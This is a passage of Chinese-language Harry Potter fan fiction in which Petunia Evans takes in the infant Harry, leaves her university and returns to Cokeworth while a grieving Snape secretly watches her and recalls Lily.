可麦格却在此时犹豫了,她握在襁褓上的手不自觉收紧,视线在佩妮那间独身公寓转了一圈,最后哀愁地落在她身上:“您一个人住在这里吗,伊万斯小姐?”
佩妮开始后悔起来。
后悔于如此轻率地就打开了自己的房门,把那两位不速之客带了进来,还让他们有了充足的时间打量她在伦敦的栖身之处。
“搭在床上的外套是洗好的,我下了晚课才把它们从洗衣房里拿出来,只是还没有时间把它们叠好放进衣柜。”
“屋子里摆不下鞋架了,它们放在地上我随时都可以穿走。”
“炉上的锅我等你们走了后就会清洗干净。”
她越说越心虚,可语气又强硬起来,没人规定一位独身女性的公寓必须收拾得整整齐齐,干干净净。
她以前倒是习惯于把一切都收拾得既整洁又干净——但是要做的事情实在是太多了,她一个人住在这里,这是属于她的空间,她想怎样就怎样。
毕竟他们才是不速之客。
“不是的,”那名高挑的女巫皱起了她的眉,忧愁地看着她,“我是想问,您的房间里为什么没有窗户?”
佩妮一下卡了壳。
冷风持续不断地从窗外灌了进来——不是没有窗户,而是原先窗户的地方现在只剩下了一个木头框架,框架之间只有一层薄纱,这也是她的房间为什么那么冷的原因。
“我的前男友,”佩妮耸了耸肩,斟酌着词汇,“在我拒绝他的求婚,回到伦敦的一个星期后,他就带人上门把他为我装的钢化玻璃都拆走了。”
“实际上不是什么大问题,”佩妮解释道,“我并不长时间待在这间屋子里,冷风有时候更有助于清醒。”
但麦格看起来更不安了。
“把他给我,”佩妮指着麦格怀里的襁褓,“你们不是要保护他吗?那就把他给我。”
邓布利多从麦格的怀里轻轻把那襁褓取了出来,放在了佩妮的怀里。
手中落下沉甸甸的份量。
他们应该把他照顾得很好,外面的空气十分冰冷,但他的襁褓是温热的,襁褓里的孩子在一团温热里安然地熟睡着。
几乎在接过来的即刻,佩妮便把自己冰冷的脸贴了上去。像落水的人抓着救命稻草一般,从那襁褓里的孩子身上,汲取所剩不多的温暖。
那孩子冷得一个激灵,闭着眼睛,撇了撇嘴,终于不安地哭了出来。
佩妮任由他在自己的怀里哭泣,抬头直视邓布利多那双湛蓝色的眼睛。
巫师卡片上对她微笑的人走了出来。
“你每次出现都要给我带来噩耗。”佩妮抱着哈利,恨恨地注视着邓布利多,讥讽地说,“梅林勋章一级获得者,大魔法师,首席魔法师,国际巫师联合会会长。”
第一次他给她带来她不是巫师
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的噩耗。
第二次他又给她带来了莉莉的死讯。
他就像地狱的使者,出现时就给她带来不幸。
“对不起,伊万斯小姐。”可邓布利多一点也不生气,他用那双湛蓝色的眼睛注温柔地视着她,使她有一种被汪洋大海包容的错觉:“总给你带来不幸的消息,是我的错。”
“您竟然还记得那封信的落款,”佩妮念出他在回信里的头衔时,一丝隐秘的笑意从蓝色大海里飘过,冲淡了笼罩在大海上的悲伤,“那并非我的本意,而是每一封从我手里发出去的,来自霍格沃茨的信件,魔法羽毛笔都会自动写上那些头衔,以显示对收信人的尊重。”
现在她知道为什么会有那么多人——包括莉莉,提起邓布利多时语气是那样的不同。
佩妮别开了她的脸,用一种不甚坚定的语气对他说:“但我还是讨厌你。”
“讨厌我是很正常的,只有金加隆才会让所有人都喜欢,更何况而这世界上还有不爱金加隆的人呢。出于对您的歉意……”邓布利多对佩妮眨了眨眼,举起了他的魔杖。
——魔法开始了。
黄色、蓝色、红色……各色绚丽的光芒从他手中的那根木棍尖头飞了出来,盘旋在佩妮乱糟糟的房间里。
木制衣柜的柜门自动打开,散落在床上的衣服开始自动折叠起来,然后统统飞进了衣柜里。
横七竖八的鞋子飞到了地毯旁,整齐地排成了一列列,地毯的颜色变得鲜亮起来。
她听见厨房水池里的水龙头被打开了,锅碗瓢盆开始自动动了起来。
麦格也举起了她的魔杖,指着那只有一层纱的窗户,嘴里开始念起什么。
那些窗户一下就变成了坚韧的玻璃,冷风被隔绝在了室外,电灯一下就亮了,取暖器修好了,温暖一下填充了她的房间。
佩妮把自己的头发从哈利·波特的手里拔出来,那孩子睁开了那双绿色的眼睛,看着在空中飞着的物品,咯咯笑了起来。
等最后一件东西落了地,她的房间已经焕然一新了。
邓布利多和麦格对她礼貌地点了点头,准备离去。
“魔法到底是一种天赋,还是一种诅咒?”佩妮轻声说。
邓布利多停下了他的脚步,讶异地转过身来,用那双像大海一样的眼睛直直地看着她。
“我很惊讶,伊万斯小姐。”他说,“对于勇敢的人来说,魔法是一种天赋,它使勇敢的心更一往无前。”
“可对于怯懦的人来说,魔法又更像一种诅咒,它无法使怯懦的心变得勇敢和高尚,却遮住了怯懦之人的眼睛,使他再也无法看清自己的内心。”
“他会回来的是吗?他还没有彻底被打败。”佩妮看着襁褓里那个孩子头上闪电般的伤痕。
邓布利多看起来更讶异了。
“不,”麦格教授略带不安地看了一眼邓布利多,柔声对佩妮解释道,“那个人已经被莉莉和哈利打败了,他是救世主。”
“救世主……”佩妮念着这个荒唐的单词,看着襁褓里那一岁余的孩子,“如果他真的被打败了,你们就不会把这个孩子送到我这儿来了。”
“不,米勒娃,”邓布利多再次抚上了麦格的肩,“你说的对,伊万斯小姐。他是一个不会轻易被打败的人。虽然我不确定他会以一种什么样的方式回来。更何况,他仍有一些部下还在在逃窜。”
“血缘魔法既保护他,也保护你。”
佩妮看着哈利那双绿色的眼睛。
莉莉。
心脏被狠狠地揪了起来,佩妮情不自禁地再次把自己的脸贴在了哈利的额头上。
“距离德国投降才不到40年,那场战争中他们差点要屠光犹太人这个种族。”佩妮轻声说。
邓布利多蓝色的眼睛忧伤地看着她。
“无论是东线,还是西线,都流了很多很多的血。”
“也许他们长得不太一样,但从被子弹穿透的皮肤里,流出来的血都是一样的红色。”
“我的血是红色的,你们的血是什么颜色?”
“1961年,他们在东柏林那儿立了一堵墙,都是柏林人,东德人却再也回不到西边的家,墙上有自动瞄准的射击枪,专门盯着想要回家的人。那堵墙现在还立在那儿呢。”
“这些事情才过去了多久?”
她知道邓布利多一下就明白了她想说的话,但他只能既痛心又无奈地对她说:“但经验和历史告诉我们,人类从未从历史中吸取教训,也从未按照历史所教导的准则行事。”
那双蓝色的眼睛,好像一汪忧愁的大海注视着她。
“我很遗憾,当初只能给你回那样的信,能否进入霍格沃茨学习不是我能决定的事情,但我也因此错了很多优秀的孩子。”
佩妮别开了自己的视线,下了逐客令:“你们得走了。”
转身离去的时候,麦格像是想起了什么,她对邓布利多说了句话:“把钥匙给她,阿不思。她一个人呢!”
邓布利多像是想起了什么,一把黄铜钥匙从空中落在了佩妮的桌上。
“詹姆在古灵阁的金库了,留下了一笔财产,实际上并不算很多。在凤凰社的那些时间,詹姆慷慨地为我们提供了很多金钱上的帮助,如果你有任何需要,可以写信给我和米勒娃。”
他们说完就走了,把佩妮留在了原地。
但佩妮没空去管邓布利多留下来的钥匙了。
因为哈利·波特眉头一皱,哇地一声就哭了出来。
“你是饿了冷了困了无聊了想家了还是怎么了,你说话呀哈利!”她手忙脚乱地拍着襁褓。
可哈利只是一味地咧着他那张牙齿都没长全的嘴,哇哇大哭。
完全不懂婴语的佩妮再次陷入了深深的绝望中。
——怎么感觉人生又要完蛋了。
99.chapter98
西弗勒斯·斯内普站在路灯下,面无表情地看着眼前的人群像潮水一般从他面前经过。
他给自己施了一个幻身咒,因此没有人能够注意到他。
除了那个孩子。
那个孩子坐在婴儿椅里头,她那不负责任的母亲就随意地把婴儿椅放置在露天咖啡桌的旁边,自顾自地看着桌上的报纸。
那孩子直勾勾地看着他的方向。
他没有在她母亲的身上感受到任何的魔力痕迹,所以这个孩子应该是个天生的小巫师,刚感受到她与生俱来的魔力,便能一眼看到了施了幻身咒的他。
他有些厌恶地看着那孩子手上已经融化得不成形的草莓冰淇淋。
太阳明晃晃的,就像那天罩在科克沃斯的那条柏油路上的阳光。
挂着草莓冰淇淋招牌还有铃铛的雪糕车在路上穿行,车后头缀了大大小小的孩子们。
那时候他几岁?三岁还是四岁?应该和这个孩子差不多大,他的记忆已经有些模糊了,但他还记着他是怎么穿着那身不合身的衣服和他父亲宽大的钓鱼皮鞋,跌跌撞撞地跟着那群孩子,追着挂着铃铛的草莓冰淇淋雪糕车。
但那群孩子们踩住了他宽大的钓鱼皮鞋,让他绊倒在了柏油路上,跌倒地面上时,他的牙齿磕破了下唇。
视线里是越走越远的草莓冰淇淋车。
那时候他没出息地哭了出来,但艾琳出现了,一把把他从地上拎了起来,却一点儿也没有帮他擦拭眼泪的意思。于是他只好泪汪汪地把流血的嘴唇给艾琳看,希望艾琳能带他去成衣店买一身起码尺寸合适的衣服。
至于草莓冰淇凌,他从不奢望艾琳能买给他。
太阳很晒,他舔舔干裂的唇纹,舌头卷过嘴唇肿胀开裂的地方,吸吮着上面附着的血痂,想象草莓冰淇淋融化在他的嘴巴里那冰凉又甜美的味道。
艾琳没有带他去成衣店,而是一路把他拎回了在蜘蛛尾巷的家。
太阳很大,穿着黑衣服的艾琳和同样穿着黑衣服的他就像太阳底下的两个游魂一样。
但是那天他还是很开心,因为艾琳往他受伤的嘴巴里塞了一颗麦芽糖。
麦芽糖融化在他的嘴巴里,虽然混着铁锈味的血水,但还是甜滋滋地一路滑到了他的胃里。
不过不爱他,斯内普有时候想,艾琳为什么要把他生出来?
但是如果她爱他……算了,艾琳连爱自己都不会。
他可以自己爱自己,再尝试着去爱艾琳。
他偶然发现了自己拥有的能力,遗传自艾琳,遗传自普林斯家族的神奇能力。
他欣喜若狂。
也许他真是哪个家族流落在外的王子也说不定。
霍格沃茨,啊,他的梦想乡,理想所。
承载了他所有美梦的地方。
他向自己发誓,他再也不要对任何人卑躬屈膝,他要凭借自己的能力,让所有人的眼睛里都看见他。
在卢修斯的牵线搭桥下,他去翻倒巷售卖出去的第一批魔药,为自己添置了一身还算合身的二手西装外套。
新西装不太划算,因为他还要准备下一批魔药的原料。
但那天在没人的地方,他没有什么表情地往自己的嘴里送进了一口买来的草莓冰淇淋雪糕球,那冰凉甜腻的质感甫一融化在他的舌尖,他就把它吐了出来。
相当恶心的质感,就像亲吻一条毒蛇。
这是世界上最难吃的东西。
于是他对那个盯着他看的孩子露出了一抹微笑,成功地看见那个孩子露出惶恐的表情,打翻了她手中融化的草莓冰淇淋,哇地一声哭了出来。
他们赏识他——还算他们有眼识珠,能够在那堆粗制滥造的魔药里,用上他精心调配的药水,是他们三生有幸。
他卓绝的天赋,他为了改善他自己的处境——不仅仅为了穿上一身合适的衣服,所付出的努力,都证明他同别人是不一样的,他值得别人对他的高看一眼。
所以那位大人向他抛出橄榄枝的时候,他毫不犹豫地就答应了。
那位强大的、神秘的大人拿着魔杖,在他左手烙刻下骷髅和蛇身相缠的印记时,疼痛化作了一种被认可的畅快淋漓的快感。
也许,在欧律狄克被毒蛇咬伤的那一刻,就注定她和俄耳普斯是两个世界的人了,她再也回不去了。
有人在说话,是谁在说话?简直幼稚得令人发笑。
看着我,我的血也是红色的,也是热的,跟你有哪一点的不一样?我也是有心的!
他摇了摇自己的头,把那声音驱除出去了,什么人都能随便地闯进他的回忆里了吗?
她想太多了,他还真和她不一样。
可是为什么,结局会是这样。
他自诩绝不后悔,也绝不向任何人低头。
但是他却跪在了邓布利多的脚下,垂下他的头颅,弯下他的脊柱,卑微地试图亲吻邓布利多的脚尖。
求你,救救她,我愿意为你做任何的事情。
泪水顺着他的脸颊滑落,滴在地板上,砸成一滩滩水洼,倒映出他一张狼狈又丑陋的脸。
1981年的9月,他成为了霍格沃茨有史以来最年轻的魔药学教授兼斯莱特林学院的院长。
有人向邓布利多提出了质疑。
可是你们谁能做的比他更好呢?邓布利多湛蓝色的眼睛在半月形的眼镜后面弯成了月牙,向那些质疑者发出提问。
于是他在霍格沃茨地下魔药课教室的旁边,有了一间专属于他的办公室,还有一个私人的储藏空间。
米勒娃·麦格在走廊里遇见了他,他以为点了头后,就能与这位昔日的老师,如今的同事擦肩而过。但米勒娃·麦格——这位在他学生时代里就以公平公正著称的老师叫住了他。
她的目光似乎看穿了他被衣袖严严实实遮住的手臂:“出身、境遇、选择也许每个人会不一样。但喜爱、快乐、悲伤、懊悔,却是人类共同拥有的感受。人可以在选择上欺骗自己,但永远无法在感受上欺瞒自己。很高兴你能有重新选择的机会,但不是所有的人都能有重新再来的机会。”
悲伤和懊悔。
他发誓永远不会再让自己陷入此种狼狈的境遇。
眼泪是弱者的东西。
但是为什么。
跪在满地的废墟里,抱着那个女人冰冷的躯体。
眼泪像断了线的珍珠一样一刻不停地滑落,他的灵魂似乎也跟着她一起离去了。
莉莉。
谁扼住了他的咽喉。
在手掌心里开合的百合花,从秋千高处跃下来却毫发无伤,原来她和他是一样的。
我是在和西弗勒斯斯内普做朋友,又不是在和你的房子做朋友。
莉莉……我……我是说,我们能不能做一辈子的朋友。
他的视线追逐着她在阳光下荡处红色波纹的头发,就像追逐耀眼的太阳。
但朋友也会有不一样的选择。
他接受,他自己做出来的选择。
接受与她的决裂,接受与她在雪夜里目不斜视地擦肩而过,接受她同詹姆·波特的成婚,生下一个只有眼睛同她一样的翻版詹姆·波特。
接受她从此和他的人生没有任何关联。
只是朋友而已,他不爱她。
但是为什么,只有在想到和她在科克沃斯待着的日子,那个暑假,才能使用出呼神护卫?
而且为什么,他的守护神却是一只银色
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的牝鹿?
他绝对不会轻易地使用呼神护卫,绝对不会让别人轻易地看到他的守护神,他的能力足够让他不陷于需要施展守护神咒的地步。
他不爱她。
可她的结局为什么是这样,像一本没有写完的小说,戛然而止。
他不接受。
睁开眼睛好好看看,看看这满地的废墟,看看你怀里冰冷的女人的躯体。
是因为你啊,西弗勒斯·斯内普,都是因为你啊。
出身、境遇、选择也许每个人会不一样。但喜爱、快乐、悲伤、懊悔,却是人类共同拥有的感受。
人可以在选择上欺骗自己,但永远无法在感受上欺瞒自己。
很高兴你能有重新选择的机会,但不是所有的人都能有重新再来的机会。
人生到处都是荒诞和错位。
第一次吃到草莓冰淇淋,却发现那是世界上最恶心的东西。
第一次拥抱太阳,太阳却业已在他的怀里熄灭,快乐和温暖飞走了,只留给他余生连绵不绝的悲伤和懊悔——他倒是终于切身感受到他曾经冷眼旁观的,别人身上那些普遍的感受了。
人生荒唐又可笑。
照在他头上的太阳很大,但他四肢冰冷,仿佛仍坠冰窟。
砰——超市的门被打开了。
那女人一脸生无可恋地从超市里钻了出来。
明知道自己施了幻身咒,那个女人看不见他,但在她急匆匆从他面前经过时,斯内普还是情不自禁地后退了一步。
他的视线阴沉沉地注视着她。
最后一次与她相见时——虽然他十分不情愿,但不得不承认,是她帮了他,是她替他找到了惊恐发作,走失的艾琳,她到底做了些什么?艾琳的关系什么时候和她变得那么好了?——总之,那天她还穿着一身华贵的连衣裙,带着白色手套,珍珠项链和耳环,像是傍上了哪个大款的富太太。
他以为她马上就要阶级跃迁,美梦成真了。
但现在——
她穿一身半旧的灰色风衣外套,半新不旧的红色格子衬衫,还有一条洗的有些褪色的蓝色牛仔裤,脚上踩着一双褪色的帆布鞋。
她身后背着一个大包,左手提着一大袋婴儿尿不湿,右手拿着冲了一半的奶瓶,金色的头发凌乱地披在她的肩头,两只眼睛里都是红血丝,看起来相当狼狈。
她傍上的大款呢?
她那身华美的连衣裙,还有她脖子上的珍珠项链和耳朵上的珍珠耳环呢?
那孩子就安睡在她前胸的婴儿背带里——斯内普不知道自己为什么出现在这里,抢在其他人到来之前,他便失魂落魄地从戈德里克山谷出来,同时避免在接下来的时候,出现在任何人的面前。
但邓布利多、麦格还有海格将那个孩子送去那栋廉价公寓的时候,他却像游魂一样,远远地缀在了后头。
他可不想看见那个莉莉用生命保下来的孩子。
大难不死的男孩?
救世主?
魔法界的未来在一个一岁多的孩子身上?
简直荒唐得可笑。
那女人从他面前走过,距离近得斯内普都可以看见她飞扬的金色发丝,紧缩的眉头,红彤彤的眼尾。
她抱着救世主,一脸果决的恨意。
这个女人要把救世主带到哪里去?
她要把救世主扔了吗?
一想到这里,斯内普抬步跟了上去。
他也没有办法一个人待着,待在霍格沃茨点燃壁炉的地下办公室,又或者已经完全按照他的意思改建了蜘蛛尾巷的房子里。
他就远远地跟着,看一眼。
他对自己说。
只看一眼就好。
100.chapter99
佩妮站在她的大学门口,抬起头呆呆地望着那个成人大学的标志。
哈利沉甸甸地挂在她的前胸,嗯哼了两声,就要皱眉哭起来,佩妮眼疾手快地将奶瓶放到了他的嘴里。
看着哈利努力吸吮奶瓶的面颊,佩妮脑海里浮现起邓布利多为她描述的,发生在戈德里克山谷那一晚上的事情。
詹姆·波特就在客厅的沙发上小憩,神秘人就是在这个时候闯进去的,詹姆·波特还没有来得及举起他的魔杖,来自伏地魔魔杖杀戮咒的绿光就击中了他,使他像一个提线木偶一样倒了下去。
接下来是莉莉。
伏地魔本来想放过莉莉——但莉莉一把就握住了她的魔杖对准了伏地魔。
佩妮情不自禁地闭上了她的眼睛。
莉莉指着她的魔杖对伏地魔射出了几个咒语:“本来它只是一个预言而已,预言并非事实,但现在,是你亲手将这个预言变作了现实。”
“是你选择了哈利,未来将是我的儿子,彻底打败你。”莉莉放声大笑。
正是莉莉的话语还有她的大笑激怒了伏地魔,邓布利多对她说,所以导致伏地魔对她出手了。
最后只剩哈利·波特了。
现在终于没有人挡在伏地魔和哈利之间了。
伏地魔举起了他的魔杖。
但他显然低估了莉莉,低估了莉莉的力量,还有莉莉的爱。
正是因为这份强大的爱,魔咒反弹,不可一世的黑魔王,就这样死在了自己的杀戮咒之下。
他失败了。
沿途一路走来,她遇见了好几个怪人,其中有一个穿着怪异紫罗兰灯笼裤头戴旧毡帽的矮个子男人,差点迎面撞上她。
就在他要撞到她的前挡,这个醉醺醺的男人好似被什么看不见的东西弹开了,他睁开他迷离的眼睛,对佩妮摘下了他的帽子。
“向伟大的救世主哈利·波特致敬。”
他不知道他口中伟大的救世主就在她的怀里,佩妮紧紧抱着哈利,用手拦着哈利的额头,面无表情地走了过去。
“救世主?”佩妮低头看着这个还在努力吃奶的孩子,伸出手帮他把奶瓶扶正。
“大难不死的男孩?”哈利很快喝饱了,佩妮把奶瓶抽了出来,拍了拍他的背,凑到他的耳边小声说,“你连大小便都没办法自己控制呢,就成为了魔法界的未来。”
这话荒诞到她明明满腔愤怒和怨言,却只能扑哧一声笑出来。
正如同她听不懂婴语,救世主也听不懂她说的话,他眨着那双绿色的眼睛,打了一个哈欠,乖顺地趴在佩妮的胸前,佩妮伸出手拨了拨他额前的黑头发,挡住了那个闪电装的伤疤。
这孩子一刻也离不了人,如果佩妮离开他的视线一小会儿,他的哭声能把天花板震翻。
她不可能把哈利放在她的公寓里,又或者带着他去阶梯教室。
她给哈利穿上了三层的纸尿裤,保证什么都不会漏出来后,走进了教学楼里。
正是上午第一节课下课的时间,佩妮就这么带着哈利,左手提着尿不湿,右手拿着奶瓶地走了进去,收获了走廊上不少惊异的目光。
她一点儿也不在乎他们落在她身上的目光,带着哈利直奔二楼的学生事务办公室,推开了那扇雕花木门。
她这副模样吓了学生事务办公室负责人艾玛小姐一跳,活像是来这寻找孩子那不负责任的父亲似的。
可当佩妮把那份退学申请单放在她桌上,说明她的来意时,艾玛小姐虽面露缓和,但也迟迟没有接过那份退学申请单。
艾玛小姐双手交握放在桌上,语气相当郑重地对佩妮说:“伊万斯小姐,人的一生会对很多事情后悔,可我衷心地希望在你未来的人生中,可以后悔没有成为一个好母亲,可以后悔没有组建一个家庭,但不要后悔当初没有选择继续读书这件事。”
她的视线先落在了佩妮怀里的婴儿身上,再抬起头看佩妮,她的语气柔和又坚定:“你应该费了很大劲才来到这里的,不是吗。”
她的话使佩妮想要流泪,佩妮抬起头,吸了吸鼻子,对艾玛小姐说:“倘若这真是我的孩子,倘若他的父亲真是一个不负责任的混蛋就好了。但这不是我的孩子,她是我妹妹的孩子。”
她没有办法对艾玛小姐解释魔法世界,以及维系在她和哈利之间的那个血缘魔法。
于是她只好对艾玛小姐说:“我的父母去世了,前些时候我妹妹还有妹夫也去世了,就剩下了这个孩子,他现在只有我这个亲人了,他得先活着。”
艾玛小姐看着那个孩子,什么话也说不出来了。
她只能叹一口气,接过佩妮的退学申请单,在上面盖上了学生事务办公室的红章。
“你会回来这里吗?”临出去之前,艾玛小姐叫住了佩妮。
佩妮回身看着她:“我会回来的,我保证。”
哈利皱起了他的眉头,他又要哭起来了,佩妮不确定他是怎么了,她总不能在这个教学楼扒下他的纸尿裤,看看他是尿了还是拉了。
在他的哭声吸引来更多的目光之前,佩妮把哈利的头按在自己的怀里,低下头颅咬住她的嘴唇,一鼓作气跑出了她的大学。
她回过头,看在高高的悬挂在铁门上的牌匾。
我会回来的,她对自己发誓。
佩妮·伊万斯一离开那间大学,斯内普便提步跟了上去,他离他们不近也不远,就遥遥跟在他们身后,看着那个金色头发的女人带着救世主,在街道拥挤的人潮里穿行。
佩妮·伊万斯。
起初斯内普对这个女人的印象并不深刻。
她是莉莉的姐姐,她给他的初印象就是她拍掉了莉莉的手,抛下一句“怪胎”就跑了。
她以为她隐藏得很好,但谁都能看出她眼睛里的不甘和嫉妒。
莉莉·伊万斯和她的姐姐完全是两个世界的人。
她竟然还给邓布利多写了一封让人捧腹大笑的信——虽然偷看她的信件时,莉莉看上去相当不安,但他只是无所谓地撇了撇嘴,她简直一点自知之明都没有,看起来就像个笑话一样。
他以为莉莉从此和她姐姐形同陌路,结果那个暑假——一整个暑假,她居然就在图书馆的桌子上,掏出了她的针线活,简直要人笑掉大牙。
那天她跌进了坑里。
他发誓,跟他一点关系也没有,当然,他离她这么近,她可以把这件事推到他的身上,像其他人那样埋怨他,把事情的源头都怪罪到他身上。
他冷冰冰地看着跌进坑里的她。
可出乎他意料,她并没有因为跌进坑里而怪罪于他,反而冲着他举起了全是她鲜血的手。
麻瓜麻瓜,我是麻瓜又怎么样,我也是人,你也是人,我跟你一样有两只眼睛一只鼻子一张嘴,看见了吗!我的血也是红色的!也是热的!你看看!跟你有哪一点的不一样,你好好看看,我也是有心的!
她说她也有一颗心。
斯内普捏着鼻子,隔着衣袖把她从石坑里拉了出来。
等邓布利多一行人离开那栋廉价公寓后,斯内普从路灯无法照亮的阴影里转了出来。
廉价公寓的那间房间一整晚都没有熄灯。
第二天清晨,那个金色头发的女人头发乱糟糟地披了件风衣外套,满眼血丝地下了楼,而哈利——斯内普把自己的身影隐在了路灯下的阴影里,又在自己的身上甩了好几个幻身咒,确保那个女人不会看见他——他的视线移向高楼上的玻璃窗旁边,那孩子,伟大的救世主,正捶打着玻璃窗,看着佩妮放声大哭,他要是推开了玻璃,就要从高空与这地面来个亲密接触了。
大难不死的男孩这次还能大难不死吗?
佩妮·伊万斯不安地回头向上往去,显然也看到了这令她心跳骤停的一幕,这个没有任何养育孩子经验的女人,显然才意识到把一个一岁的孩子独自扔在家里是一件多么疯狂的事情。
她低咒了一声,转头跑上了楼,又把哈利抱了下来。
她再次回到廉价公寓时,左手抱着哈利,右手拖着着一个超级大的袋子,里面全是纸尿裤,奶嘴之类的婴儿用品。
袋子拖在地面上,塑料提手拉长变形成两条极细的带子,看起来随时会断掉。
邓布利多恐怕是老糊涂了,英明一世却糊涂一时,斯内普想,就这样把那孩子交给这样一个女人。
不知道出于什么原因,她一个人住在这里,没有同她傍上的大款一起——也许她傍上的大款甩了她。
毕竟这个女人没有什么姿色,头脑看起来也不太聪明。
她独身一人住在那个破败不堪的公寓里,不知道做些什么事,看起来把日子过得相当狼狈。
现在还要接手哈利·波特。
斯内普由衷怀疑,哈利·波特,这个在黑魔王手下死里逃生,大难不死的男孩,能不能在那个女人的手下平安长大。
他忍无可忍地动了动手指,那袋子便极轻微地漂浮在了空中。
刚做完这件事他就后悔了,但谢天谢地,那女人显然是一整晚都没睡,处在茫然和疲惫中,根本没意识到发生了什么。
现在他知道了,那个女人去读了个大学。
如果他没有记错,这个女人先前念的是科克沃斯圣凯瑟琳现代中学。
他碰巧——在没有收到霍格沃茨入学通知书之前,研究过一点麻瓜的升学渠道——当然是为了他自己做准备。
现代中学可不为他们开设那些为了上大学而准备的预备课程。
她做了些什么,放着好好的大款不傍,偏偏去读了个大学。
现在好了,接手了哈利·波特这个大麻烦——他发现了,只要跟波特这个姓氏沾边,就会有无穷无尽的麻烦涌上来,“波特”这个词,已经在他心里变成了麻烦的代言词。
她连大学都读不成了。
他遥遥跟在那个女人后面,看着她抱着哈利·波特从一个又一个的桥上走过去。
她是一个古怪的女人,这点读书的时候他就知道了。
把耳朵贴在树干上,对他说那棵树快要死了,树死不死他
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不知道,但他觉得她的正常神经可能快要死了。
可是站在那棵白蜡树下,她对他说谢谢,虽然接下来她就毫不客气地指出他的温莎结打错了。
她知道“礼貌”一词怎么拼写吗?
但鬼使神差地,看着她跳起来去够那颗白蜡树上像眼泪一样的琥珀,他伸出手替她摘下来,并要走了一半做报酬。
那女人又停在了一座桥上,抱着救世主,目光专注又痴迷地看着桥下奔流的河水。
有好几次,魔杖划出了他的袖口,就握在他的手指间。
但凡这个女人胆敢往桥边迈一小步,他的魔咒就要甩到她身上去了。
难道只是看着河水也能把脑子看进水吗?
她可以不在乎自己的生命,但是怎么能不在乎莉莉用生命保护下来的孩子?
他不确定这个愚蠢的女人有没有胆子,她看起来不太聪明,胆子也不大。
但有时候,她的眼睛——从那双浅灰色的眼睛里,总在不经意间流露出一点疯狂来。
这种歇斯底里使他想起那个让他倒尽胃口的男人——西里斯·布莱克。
他们快要抓到这个叛徒了。
布莱克家统统都是疯子。
这个叛徒——詹姆·波特若是泉下有知,知道是自己最亲密的兄弟出卖了他,泄露了他的地址,送他和莉莉上了黄泉,他能瞑目吗?
没有关系,一抓到西里斯·布莱克,他就会被投入到阿兹卡班。
斯内普畅快地想着。
佩妮·伊万斯没有在河边停留太久,她很快收回了自己的视线,抱着哈利匆匆离开了河边。
魔杖又重新滑回到了他的袖口里。
他不知道河水有什么好看的,但他知道只有十度左右的天气,足以把救世主冻出一点小感冒,再给她一点颜色瞧瞧。
一辆大货车停在那栋廉价公寓的楼下。
他看着那个女人一边抱着哈利·波特,一边指挥搬家工人将一个个硕大的纸箱搬上车。
斯内普觉得自己的太阳穴一跳一跳地,这回她又要去哪里。
她抱着哈利坐上了大货车的副驾驶,对货车司机报出了科克沃斯的地点。
她要回科克沃斯。
愣神之间,货车已经启动了,斯内普袍袖一卷,幻影移行到了蜘蛛尾巷的家前。
他在科克沃斯等了大半天,才等来了那辆姗姗来迟载着她和救世主的大货车。
那辆货车停在科克沃斯她和莉莉的老宅前,搬家工人原样把纸箱搬进了那栋许久不曾住人的空宅里——她的父母业已去世了,其实还是他的母亲把消息带去霍格沃茨的,此后她便一直长居伦敦,莉莉也住在她那里,直到她嫁去戈德里克山谷。
她在老宅门前站了一会儿,凝神看了一眼老宅,便带着救世主一头钻进了黑黢黢的老宅里,房门咔哒一声上了锁,她把自己还有救世主统统都锁在了里面。
从傍晚开始就下起了雨。
讨厌的雨,连绵不断的雨。
空气又湿又冷。
他给自己持续不断地施加幻身咒、防雨咒还有保暖咒,就一直安静地待在一楼的窗户旁边,像以前等着莉莉那样。
从她进去起,窗户一直没有亮起灯,房间里相当安静,就连救世主的哭闹声都听不见。
雨打在屋檐上的声音,就好像谁在哭泣。
他在雨中等待了整整一个晚上。
直到第二天的早晨,雨停了。
晨曦照在他的眼皮上,使他猛地惊醒,幻身咒保暖咒还没有失效。
窗户还没有打开,室内还是一片死寂。
魔杖再次悄悄地滑进了他的手掌心。
她可以拿自己开玩笑,但是绝对、不可以、拿那个孩子的生命开玩笑。
砰——有人使劲把窗户推开了。
阳光从大开的窗台洒了进去,驱散了一整夜的阴霾。
哈利吃够奶了,总算在雨夜睡了一次长长的整觉。
佩妮看着洒进来的阳光。
她用力推开窗户的时候,感觉撞到了什么东西,但她四下看了看,什么也没有看到。
也许是一只野猫,或者是野老鼠。
那不重要,房子有很久没有住过人了,过段时间她再来好好休整一下。
现在——她在胸腔攒了一口气,一口憋了相当久的气。
佩妮看着窗外的大太阳,大声喊出了那句她一直想喊出来的话。
“Go f**k the world!”
去他的世界。
她冲窗外狠狠竖了一个中指,砰——她又把窗户关上了。
徒留霍格沃茨史上最年轻的魔药学教授兼斯莱特林学院院长。
今年年仅21岁的西弗勒斯·斯内普。
在窗户后面不可置信地捂着他的鼻子。
鲜红的血液从他手指间涌出来。
很好。
非常好。
谢谢她。
他的鼻梁好像被她给砸断了。
101.chapter100
第一辆汽车停在了老宅的门前。
那是一辆陈旧的二手福特车,尾部有一个车灯是坏的。
从汽车上下来两个女人,一个印尼裔的矮个子黑发女人,另外还有一个女人头上系着一条已然褪色的旧苏格兰式头巾。
她们拿着大包小包的袋子——透过袋子的缝隙,斯内普瞥见里头是面包、南瓜等糕点和食物。
砰——大门打开,她们急匆匆地冲进去。
砰——大门又关上,那两个女人空手从老宅里跑出来上了汽车,发动机启动,汽车拐了一个夸张的弯便消失了。
不多时另外一辆汽车又停在了老宅的门前。
是一辆崭新的,线条流畅的黑色汽车。
车上下来一个穿着时髦,戴着墨镜的红发女人。
乍一看到那头旺盛的红棕色头发,斯内普有一瞬间的晃神,但他很快就意识到她和莉莉一点儿也不一样。
女人把墨镜摘下来塞进牛仔上衣的袋子里,从副驾驶座上抱下来一个小女孩,随后副驾驶座上下来一个身着深色教袍,胸前戴着一条银十字链的中年女性。
她们从汽车打开的后备箱里搬出一件又一件的物什,婴儿车、婴儿折叠椅、婴儿背带……
把这些物什堆在房门前,那棕红色头发的女人嚼着口香糖粗暴地按响了门铃。
电话铃声也响了,就隔着一堵墙壁,那铃声吵闹得简直要把墙壁上的灰尘给震下来。
他听见了佩妮·伊万斯断断续续的声音。
“我知道了……拉丁语课程……我会继续写信给你的……伊索尔德……邮寄……儿童绘本……谢谢……”
西弗勒斯·斯内普大步流星地走在回到蜘蛛尾巷的路上。
黑色的长袍因他气势汹汹的步伐在他身后纷飞。
愤怒快在他身边凝结出一层层黑色的雾气了。
